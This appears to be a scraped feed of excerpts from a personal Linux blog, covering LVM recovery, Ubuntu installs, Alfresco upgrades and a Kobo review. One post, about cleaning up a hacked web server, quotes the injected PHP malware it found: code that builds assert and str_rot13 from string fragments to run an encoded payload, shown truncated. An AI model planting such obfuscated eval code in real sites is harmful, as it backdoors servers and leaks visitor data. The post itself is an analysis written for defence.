Linux on

LVM Recovery Bedtime Story: The tale of the journey home for some long lost bytes

Fri, 11 Aug 2017 23:11:58 +0000

Above: To the right is my hovel at the cottage I setup during my holiday-time-well-spent playing with ddrescue

I had an awesome LVM for nearly 15 years. It saw me through high school, 8 years of post-secondary nerding and then some years after. The drives involved came and went, as I perpetually upgraded it. I loved it dearly. At its peak, it was comprised of 7 drives. Inevitably, the Seagate-reaper came to visit and the LVM was no more. It might have persisted, but I was younger and crazier and I took the striped path to ruin.

Battle against injected PHP

Sun, 13 Nov 2016 14:18:51 +0000

My main personal web server became infected with some effin malware that was injected it very nearly every single .php script on the server. The injected code was basically:

//###=CACHE START=### @error_reporting(E_ALL); @ini_set(“error_log”,NULL); …etc

$strings = “as”; $strings .= “se”; $strings .= “rt”; $strings2 = “st”; $strings2 .= “r_r”; $strings2 .= “ot13”; $gbz = “riny(”.$strings2(“base64_decode”); $light = $strings2($gbz.’(“nJLtX….”));’); $strings($light); //###=CACHE END=###

This is kind of beautiful to me, it took me a little while to figure out what it does. In effect it causes basic system info for anyone browsing sites on that server to be sent off to some other php script on another server. At first I altered the server and my network to prevent any traffic from reaching the intended target. Instead I captured the traffic so I could get a look at the volume of it. Here’s an example apache log message generated by someone browsing an infected site:

Ubuntu 14.04 on Utilite Pro

Fri, 10 Oct 2014 11:06:06 +0000

To the chase… It took me a long time to find this, but someone’s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they’ve included a dropbox location to fetch images from.

Here’s the URL to the build guide.

Here’s the URL to the download directory.

For installation, I’m�ripping-off the Arch installation instructions here.

The key step of the installation process I kept pulling up that guide to confirm I’m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root

My Diary: Upgrading Alfresco Installations

Fri, 11 Apr 2014 21:12:05 +0000

Here’s my diary from the “epic” experience of simply trying to upgrade Alfresco installations from 4.2.c to 4.2.f. I found the community documentation to be dated and had minimal confidence in its current validity. Still, it helped. These are my final notes on the process and in actuality there were a lot of wrong turns I made along the way before landing with the below. I spent like 5 hours working this out. Crazy.

Software > MediaDrop Automatic Transcoding Script

Fri, 03 Jan 2014 00:54:49 +0000

I’ve been working on a somewhat private personal website intended for sharing of family videos. I’ve converted roughly 200hrs of old family video tapes in to media files and am well on my way to having converted the files in to individual scenes/clips. The content is being shared, with family, using an instant of the web application “MediaDrop”. I love this web application. It’s epic. I was just looking for a podcast feed generator and I found a lot more in MediaDrop.

Trac Authenticating Through Active Directory

Mon, 26 Sep 2011 10:06:18 +0000

A minor post - mostly for my own notes..

I was setting up an instance of Trac and I wanted Active Directory authentication going. I’ve had this before, but I recently learned of Centrify which provides a VERY easy means to setup system authentication with AD. This meant I needed to find a Centrify-specific way to get AD authentication going in Trac.

I was close to an obvious simple solution for a fair while, but I kept running in to error messages like:

Geekery Datacentre Project Completed

Mon, 04 Apr 2011 10:55:27 +0000

When it was but a closet

The Initial Setup

And Finally…

Shortly after moving in to my house, I opted to use a room for my Geekery (formerly known as “Nerdery”).. I dedicated circuit for power installed to make this closet remotely suitable to set up my hacky server “rack” (AKA Ikea Shelf) in.

Update (Apr 26)

This hack has been posted on Hackaday, Howtogeek and geeknmod (I suppose some others too). Coolness.

Kobo - Unboxed & Linux Friendly

Mon, 21 Jun 2010 23:41:46 +0000

I’ve recently acquired myself a Kobo eReader. Read on to learn of my initial experiences, thoughts and reactions..

For those who remain unaware of what an ereader is…

They are little device designed to replace physical books. The key to success of the major ereaders (of which the ipad is NOT included) is the use of a completely distinct display technology called E-Ink. The important detail about that is that things displayed on E-Ink look just as though they were printed on paper. Compare this to viewing a typical LCD screen (like that of your phone) in the bright sun. The LCD has to overcome the ambient light, which is really tough in the day. The sharp contrast in brightness is similarly tiring for eyes in good lighting. E-Ink is free of that burden.

Ubuntu 9.10 remote mounts via sshfs

Sun, 07 Feb 2010 17:30:34 +0000

Hey just a fast post here.. I’ve been using sshfs on Ubuntu (meh, linux in general) for awhile as a means of securely remotely accessing my files. I’ve taken some steps to add a line to my /etc/fstab file to make this run smoothly…

Though today I ran in to a really weird situation. I found that despite having a uid=xxxx line, the appropriate user wasn’t getting ownership of the mount. In fact, when that user would look at the permissions for the mount, it returned something like “d???? ? ? ?”. Whisky Tango Foxtrot.

Dawning.ca Spruced Up

Fri, 15 Jan 2010 03:12:36 +0000

Previous Dawning.ca Layout

I’ve just spent a few hours re-designing the layout of Dawning.ca. The old one served me very well and I really liked it. I had heavily modified the previous theme to work for me and work it did. I may tap it some time in the future as a backup… As you can see to the right, the new style is fairly different compared to the image. Although I kept the workflow as I think it was already pretty good.

YouTube Grabber App

Tue, 24 Nov 2009 12:06:27 +0000

I’ve whipped up this little YouTube video grabber for myself and I’ve opened it up for the moment. If I see it getting spammed or abused in some way, I’ll probably password protect it, nevertheless, you can check it out here.

What it does

This little app takes a YouTube video link and then adds the reference in a database. A seperate script then polls that database and looks for new URLs. It then uses another script (that I did not write), called yt-download, to fetch each video and dump it to my fileserver.

Upgrade Experience with Ubuntu 9.04

Fri, 24 Apr 2009 09:24:25 +0000

Ubuntu Logo

Hello World!

While, yesterday was Ubuntu 9.04 day! With the latest official release of Ubuntu Linux, I decided to put one foot in the water and give upgrading my mac pro from 8.10 a whirl. The process went fairly perfectly with one major flaw. Upon rebooting my upgraded system, my video driver for xorg was no longer functioning properly. The solution was to remotely login through ssh, download & install the latest driver (from here) and then reboot again. After that I was greeted with the beautiful new Ubuntu 9.04 login screen and the upgrade was nearly..

OpenMoko Emulator

Sat, 26 Jul 2008 16:32:05 +0000

Hey gang, for those interested, I found on the openmoko website this awesome little file you can download, extract and quickly use to get the OpenMoko firmware to boot up in QEMU. So those who are interested in checking this phone out can get a slight sample of it this way. What I like about it is that I can begin developing for the project without having to own one!